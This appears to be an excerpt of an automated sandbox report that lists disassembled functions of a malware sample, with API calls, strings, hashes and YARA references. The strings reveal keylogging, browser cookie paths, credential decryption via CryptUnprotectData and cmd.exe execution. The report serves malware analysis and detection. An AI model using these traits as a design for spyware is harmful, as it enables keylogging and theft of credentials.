                                                                                                                              • Instruction ID: 78b8e4ab202bb8962dfea6a4c95dea7b8c186c0554b41bb8e719afd17783d6d0
                                                                                                                              • Opcode Fuzzy Hash: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                                                                                                                              • Instruction Fuzzy Hash: 2E31C471A00258BFEB21DF999C8199EBBBCEF85B15F10406BF50497311D6B89F81CB98
                                                                                                                              Function 0044B81F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101fileCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,FF8BC35D,00000000,?,PkGNG,0044BB7E,?,00000000,FF8BC35D), ref: 0044B8D2
                                                                                                                              • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0044B900
                                                                                                                              • GetLastError.KERNEL32 ref: 0044B931
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharErrorFileLastMultiWideWrite
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 2456169464-263838557
                                                                                                                              • Opcode ID: f29f19b57bd44476b84c2158df793cbd226619e25f42890a5cb9caccfef44ccc
                                                                                                                              • Instruction ID: a4f89274a665815b2d7bd0a52cbb4c71b9b2878c435ac706d73e761117ab6cd9
                                                                                                                              • Opcode Fuzzy Hash: f29f19b57bd44476b84c2158df793cbd226619e25f42890a5cb9caccfef44ccc
                                                                                                                              • Instruction Fuzzy Hash: 18317271A002199FDB14DF59DC809EAB7B8EB48305F0444BEE90AD7260DB34ED80CBA4
                                                                                                                              Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066
                                                                                                                                • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F
                                                                                                                                • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5,?,?,004040F5,00465E74), ref: 0041857E
                                                                                                                                • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F,?,?,004040F5,00465E74), ref: 00418587
                                                                                                                                • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E
                                                                                                                              • Sleep.KERNEL32(000000FA,00465E74), ref: 00404138
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                                                                                                                              • String ID: /sort "Visit Time" /stext "$0NG
                                                                                                                              • API String ID: 368326130-3219657780
                                                                                                                              • Opcode ID: 5a82faa1ad293261ac248fbd7caeb08181cf258f5e0d188fe14b0def416cf126
                                                                                                                              • Instruction ID: 62b88373b0174ac8ae4090b78ebfd0a8fca35ca34796720d8357018cc2c92f87
                                                                                                                              • Opcode Fuzzy Hash: 5a82faa1ad293261ac248fbd7caeb08181cf258f5e0d188fe14b0def416cf126
                                                                                                                              • Instruction Fuzzy Hash: E9316271A0011956CB15FBA6D8969EE7375AB90308F40007FF206B71E2EF385D89CA99
                                                                                                                              Function 004162E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • _wcslen.LIBCMT ref: 004162F5
                                                                                                                                • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                                                                                                                • Part of subcall function 00413877: RegSetValueExA.ADVAPI32(004660A4,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040C152,00466C48,00000001,000000AF,004660A4), ref: 004138A0
                                                                                                                                • Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4,?,?,?,0040C152,00466C48,00000001,000000AF,004660A4), ref: 004138AB
                                                                                                                                • Part of subcall function 00409DE4: _wcslen.LIBCMT ref: 00409DFD
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _wcslen$CloseCreateValue
                                                                                                                              • String ID: !D@$okmode$PG
                                                                                                                              • API String ID: 3411444782-3370592832
                                                                                                                              • Opcode ID: 4953b4e4a8c13c8acb6e7384e138a9f0719d67908b9bf54edc95309011813b1f
                                                                                                                              • Instruction ID: dff749dc984b923ba5de2327a6f3f9cc2e67bcaf748228c26ce3aec7d70e92d7
                                                                                                                              • Opcode Fuzzy Hash: 4953b4e4a8c13c8acb6e7384e138a9f0719d67908b9bf54edc95309011813b1f
                                                                                                                              • Instruction Fuzzy Hash: 10119371B442011ADB187B72D832ABD22969F94358F80443FF54AAF2E2DEBD4C51525D
                                                                                                                              Function 0040C5EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040C4C3: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000), ref: 0040C4F6
                                                                                                                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C61D
                                                                                                                              • PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 0040C688
                                                                                                                              Strings
                                                                                                                              • User Data\Default\Network\Cookies, xrefs: 0040C603
                                                                                                                              • User Data\Profile ?\Network\Cookies, xrefs: 0040C635
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ExistsFilePath
                                                                                                                              • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                                                                                                              • API String ID: 1174141254-1980882731
                                                                                                                              • Opcode ID: ec0199523fc237e56364718817167f2e0688e89b82cc13cff5a9b1f21d5ed8d2
                                                                                                                              • Instruction ID: e6b9b9a8142aca5ff9e4641a3ff80a721fb4b0471daa7637ae592fad8ebd6223
                                                                                                                              • Opcode Fuzzy Hash: ec0199523fc237e56364718817167f2e0688e89b82cc13cff5a9b1f21d5ed8d2
                                                                                                                              • Instruction Fuzzy Hash: B421037190011996CB14F7A2DC96CEEB738EE50319F40053FB502B31D2EF789A46C698
                                                                                                                              Function 0040C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040C526: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 0040C559
                                                                                                                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C6EC
                                                                                                                              • PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 0040C757
                                                                                                                              Strings
                                                                                                                              • User Data\Default\Network\Cookies, xrefs: 0040C6D2
                                                                                                                              • User Data\Profile ?\Network\Cookies, xrefs: 0040C704
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ExistsFilePath
                                                                                                                              • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                                                                                                              • API String ID: 1174141254-1980882731
                                                                                                                              • Opcode ID: 830e565da1f4430f56a3fad2b3585c60fae3d202001501423d8e3de01861922a
                                                                                                                              • Instruction ID: 83f6a23093d6b0727a30a1d550f3d6f5bdb2bb72864fa742cd8a9fd6423befd9
                                                                                                                              • Opcode Fuzzy Hash: 830e565da1f4430f56a3fad2b3585c60fae3d202001501423d8e3de01861922a
                                                                                                                              • Instruction Fuzzy Hash: AE21D37190011AD6CB05F7A2DC96CEEB778EE50719B50013FF502B31D2EF789A46C698
                                                                                                                              Function 0040A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateThread.KERNEL32(00000000,00000000,0040A27D,004750F0,00000000,00000000), ref: 0040A1FE
                                                                                                                              • CreateThread.KERNEL32(00000000,00000000,0040A267,004750F0,00000000,00000000), ref: 0040A20E
                                                                                                                              • CreateThread.KERNEL32(00000000,00000000,0040A289,004750F0,00000000,00000000), ref: 0040A21A
                                                                                                                                • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
                                                                                                                                • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CreateThread$LocalTimewsprintf
                                                                                                                              • String ID: Offline Keylogger Started
                                                                                                                              • API String ID: 465354869-4114347211
                                                                                                                              • Opcode ID: 739852a997fc0ae6182b294a28b4bb93c4a2cbea1e12e060c92b97aef043fd25
                                                                                                                              • Instruction ID: bcf1cfbdc14a627f6781ea3a40f7cea6448602225ce5b2be95dc640702f6c2bd
                                                                                                                              • Opcode Fuzzy Hash: 739852a997fc0ae6182b294a28b4bb93c4a2cbea1e12e060c92b97aef043fd25
                                                                                                                              • Instruction Fuzzy Hash: DE1194B12003187AD220B7369C86CBB765DDA8139CB00057FF946222D2EA795D54CAFB
                                                                                                                              Function 0040AEEE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
                                                                                                                                • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                                                                                                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                                                              • CreateThread.KERNEL32(00000000,00000000,0040A267,?,00000000,00000000), ref: 0040AF6E
                                                                                                                              • CreateThread.KERNEL32(00000000,00000000,0040A289,?,00000000,00000000), ref: 0040AF7A
                                                                                                                              • CreateThread.KERNEL32(00000000,00000000,0040A295,?,00000000,00000000), ref: 0040AF86
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CreateThread$LocalTime$wsprintf
                                                                                                                              • String ID: Online Keylogger Started
                                                                                                                              • API String ID: 112202259-1258561607
                                                                                                                              • Opcode ID: be6d66d5fa79c5f31e74c778d4d5e15bc8bc5d5b3a82591b70bbeab99a5f0c5b
                                                                                                                              • Instruction ID: a86b307176fed80e65d2d8085b20e14cf0e56bf63d45b36b749a5edd9f3e52e0
                                                                                                                              • Opcode Fuzzy Hash: be6d66d5fa79c5f31e74c778d4d5e15bc8bc5d5b3a82591b70bbeab99a5f0c5b
                                                                                                                              • Instruction Fuzzy Hash: 1401C8A070031939E62076365C87D7F7A5DCA81398F40057FF645362C6D97D1C5586FB
                                                                                                                              Function 0041B4EF Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59timeCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: LocalTime
                                                                                                                              • String ID: | $%02i:%02i:%02i:%03i $PkGNG
                                                                                                                              • API String ID: 481472006-3277280411
                                                                                                                              • Opcode ID: cd8841d7ce7b31923eb0730a989a812e14017909399abac035ca2ef2887a575a
                                                                                                                              • Instruction ID: b0c371a91d376d28eb23a1cf2c2b6b2589463c7c7bf84255da33bc44f247512a
                                                                                                                              • Opcode Fuzzy Hash: cd8841d7ce7b31923eb0730a989a812e14017909399abac035ca2ef2887a575a
                                                                                                                              • Instruction Fuzzy Hash: 361181714082055AC304EB62D8419BFB3E9AB44348F50093FF895A21E1EF3CDA49C65A
                                                                                                                              Function 00404F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLocalTime.KERNEL32(?), ref: 00404F81
                                                                                                                              • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00404FCD
                                                                                                                              • CreateThread.KERNEL32(00000000,00000000,00405150,?,00000000,00000000), ref: 00404FE0
                                                                                                                              Strings
                                                                                                                              • KeepAlive | Enabled | Timeout: , xrefs: 00404F94
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Create$EventLocalThreadTime
                                                                                                                              • String ID: KeepAlive | Enabled | Timeout:
                                                                                                                              • API String ID: 2532271599-1507639952
                                                                                                                              • Opcode ID: 7c8a9ce4b383af45d5410d66a549d3ab3812e2de270479e75a3fa2d1d41e82a0
                                                                                                                              • Instruction ID: 982fc92e7e47f2769c776e0d9ab1702947c5453eb715a4cfed9cf45540ca89dc
                                                                                                                              • Opcode Fuzzy Hash: 7c8a9ce4b383af45d5410d66a549d3ab3812e2de270479e75a3fa2d1d41e82a0
                                                                                                                              • Instruction Fuzzy Hash: A8110671904385AAC720A7778C0DEAB7FA8DBD2710F04046FF54163291DAB89445CBBA
                                                                                                                              Function 00406A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • LoadLibraryA.KERNEL32(crypt32,CryptUnprotectData), ref: 00406A82
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 00406A89
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressLibraryLoadProc
                                                                                                                              • String ID: CryptUnprotectData$crypt32
                                                                                                                              • API String ID: 2574300362-2380590389
                                                                                                                              • Opcode ID: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                                                                                                                              • Instruction ID: d796ed41fc96dc9ef8d801536240fab0e9422483ab40f89d2a564a4d0f07de08
                                                                                                                              • Opcode Fuzzy Hash: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                                                                                                                              • Instruction Fuzzy Hash: 6201B535B00216ABCB18DFAD9D449ABBBB8EB49300F14817EE95AE3341D674D9008BA4
                                                                                                                              Function 0044C253 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • SetFilePointerEx.KERNEL32(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,10558B1C,10558B1C,PkGNG,0044C302,FF8BC369,00000000,00000002,00000000,PkGNG), ref: 0044C28C
                                                                                                                              • GetLastError.KERNEL32 ref: 0044C296
                                                                                                                              • __dosmaperr.LIBCMT ref: 0044C29D
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorFileLastPointer__dosmaperr
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 2336955059-263838557
                                                                                                                              • Opcode ID: 60eaf30ffa5a6b77e16cdf42a69bcf8f7fa5cf007f91ab5b57ca5c6e56bd7837
                                                                                                                              • Instruction ID: 03228b3a5a263cac3d3762c0c6cb9bea0ee6cefe7ee70a3785aa569069518732
                                                                                                                              • Opcode Fuzzy Hash: 60eaf30ffa5a6b77e16cdf42a69bcf8f7fa5cf007f91ab5b57ca5c6e56bd7837
                                                                                                                              • Instruction Fuzzy Hash: 9E016D32A11104BBDF008FE9CC4089E3719FB86320B28039AF810A7290EAB5DC118B64
                                                                                                                              Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 004051CA
                                                                                                                              • SetEvent.KERNEL32(?), ref: 004051D9
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseEventHandleObjectSingleWait
                                                                                                                              • String ID: Connection Timeout
                                                                                                                              • API String ID: 2055531096-499159329
                                                                                                                              • Opcode ID: 16c0c5432ea764d1c3b3677813c316a5f50629e206d56325c82df1a06a1f960a
                                                                                                                              • Instruction ID: e4880b57ed2806ada623013920947221b56867654f576af2420d72dde76e11cf
                                                                                                                              • Opcode Fuzzy Hash: 16c0c5432ea764d1c3b3677813c316a5f50629e206d56325c82df1a06a1f960a
                                                                                                                              • Instruction Fuzzy Hash: 1201D831A40F40AFE7257B368D9552BBBE0FF01302704097FE68396AE2D6789800CF59
                                                                                                                              Function 0040E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E833
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Exception@8Throw
                                                                                                                              • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                                                                                                              • API String ID: 2005118841-1866435925
                                                                                                                              • Opcode ID: 8dcc56bc0b3abd67e197b42ddab56c72444c781ea05e0f6efff8352e2a22a648
                                                                                                                              • Instruction ID: aca7d9cae529c24a85643cb8f0975e7fdd15ab88b82278639a3f13e82648cb6f
                                                                                                                              • Opcode Fuzzy Hash: 8dcc56bc0b3abd67e197b42ddab56c72444c781ea05e0f6efff8352e2a22a648
                                                                                                                              • Instruction Fuzzy Hash: 2C01B1315443086AE618F693C843FAA73585B10708F108C2FAA15761C2F67D6961C66B
                                                                                                                              Function 0041CAE1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FormatMessageA.KERNEL32(00001100,00000000,00000000,00000400,?,00000000,00000000,00474EF8,00474EF8,PkGNG,00404A40), ref: 0041CB09
                                                                                                                              • LocalFree.KERNEL32(?,?), ref: 0041CB2F
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: FormatFreeLocalMessage
                                                                                                                              • String ID: @J@$PkGNG
                                                                                                                              • API String ID: 1427518018-1416487119
                                                                                                                              • Opcode ID: 582a0a935ffae84e33b405a2c8e80a835bcb557197e1ba62297b84e69e8a9d31
                                                                                                                              • Instruction ID: 02a9d8e2c753fe243ccbc909122ce1ddd8f8b45a09ed5088e6b723b988b0f700
                                                                                                                              • Opcode Fuzzy Hash: 582a0a935ffae84e33b405a2c8e80a835bcb557197e1ba62297b84e69e8a9d31
                                                                                                                              • Instruction Fuzzy Hash: 5EF0A434B0021AAADF08A7A6DD4ADFF7769DB84305B10007FB606B21D1EEB86D05D659
                                                                                                                              Function 0040DFA6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 0040DFB1
                                                                                                                              • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040DFF0
                                                                                                                                • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 0043565F
                                                                                                                                • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 00435683
                                                                                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E016
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                                                                                                                              • String ID: bad locale name
                                                                                                                              • API String ID: 3628047217-1405518554
                                                                                                                              • Opcode ID: 03a3a1b6538e95a80bbc96a5a3230d3fb174e533ca0510e3d942a7448ac3be7a
                                                                                                                              • Instruction ID: c9d4814c50014869750c7e26a4e1a69426a580a77e14145940ab7c7d7e24a8db
                                                                                                                              • Opcode Fuzzy Hash: 03a3a1b6538e95a80bbc96a5a3230d3fb174e533ca0510e3d942a7448ac3be7a
                                                                                                                              • Instruction Fuzzy Hash: EAF081314006049AC634FA62D863B9AB7B89F14718F504A7FB906228D1EF7CBA1CCA4C
                                                                                                                              Function 0041376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,0046611C), ref: 0041377E
                                                                                                                              • RegSetValueExA.ADVAPI32(0046611C,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,0041CAB1,WallpaperStyle,0046611C,00000001,00474EE0,00000000), ref: 004137A6
                                                                                                                              • RegCloseKey.ADVAPI32(0046611C,?,?,0041CAB1,WallpaperStyle,0046611C,00000001,00474EE0,00000000,?,0040875D,00000001), ref: 004137B1
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseCreateValue
                                                                                                                              • String ID: Control Panel\Desktop
                                                                                                                              • API String ID: 1818849710-27424756
                                                                                                                              • Opcode ID: 6030d9855dac89f4cd46f7f8c789974497344dcf9873e73d86c3d4cdefa30cde
                                                                                                                              • Instruction ID: c04290829ccef693e4e8b5b7d06cdf9a2950efbbd707a4c1379ff92f90edcb59
                                                                                                                              • Opcode Fuzzy Hash: 6030d9855dac89f4cd46f7f8c789974497344dcf9873e73d86c3d4cdefa30cde
                                                                                                                              • Instruction Fuzzy Hash: B8F06272400118FBCB009FA1DD45DEA376CEF04B51F108566FD09A61A1D7359E14DB54
                                                                                                                              Function 00416C2D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateThread.KERNEL32(00000000,00000000,Function_0001D45D,00000000,00000000,00000000), ref: 00416C47
                                                                                                                              • ShowWindow.USER32(00000009), ref: 00416C61
                                                                                                                              • SetForegroundWindow.USER32 ref: 00416C6D
                                                                                                                                • Part of subcall function 0041CD9B: AllocConsole.KERNEL32(00475338), ref: 0041CDA4
                                                                                                                                • Part of subcall function 0041CD9B: ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                                                                                                                                • Part of subcall function 0041CD9B: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Window$ConsoleShow$AllocCreateForegroundOutputThread
                                                                                                                              • String ID: !D@
                                                                                                                              • API String ID: 3446828153-604454484
                                                                                                                              • Opcode ID: 6979cefb1d1fefa54efaa96eb459276fcc124e6eae3c34ad0f1a5970b9474eaa
                                                                                                                              • Instruction ID: c1d0571eb829819ca76672189d51ce116019f2d3a91c4b5ec781e9fa27a10d2f
                                                                                                                              • Opcode Fuzzy Hash: 6979cefb1d1fefa54efaa96eb459276fcc124e6eae3c34ad0f1a5970b9474eaa
                                                                                                                              • Instruction Fuzzy Hash: 9EF05E70158201EAD720AB62EC45AFA7B69EB54351F00483BF849D14F2DB398C85C69D
                                                                                                                              Function 004160EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 00416130
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ExecuteShell
                                                                                                                              • String ID: /C $cmd.exe$open
                                                                                                                              • API String ID: 587946157-3896048727
                                                                                                                              • Opcode ID: 1fb54d341f42364606467e993f20cb3c4ceaa424224daa94047b07daa39982c0
                                                                                                                              • Instruction ID: 0a18f3537a1213b4b5dca9b82f73c842755a7e35c30cee8a650de64661b344da
                                                                                                                              • Opcode Fuzzy Hash: 1fb54d341f42364606467e993f20cb3c4ceaa424224daa94047b07daa39982c0
                                                                                                                              • Instruction Fuzzy Hash: 0DE0C0B0208345AAC705E775CC95CBF73ADAA94749B50483F7142A20E2EF7C9D49C659
                                                                                                                              Function 0040140A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                                                              Download Yara Rule
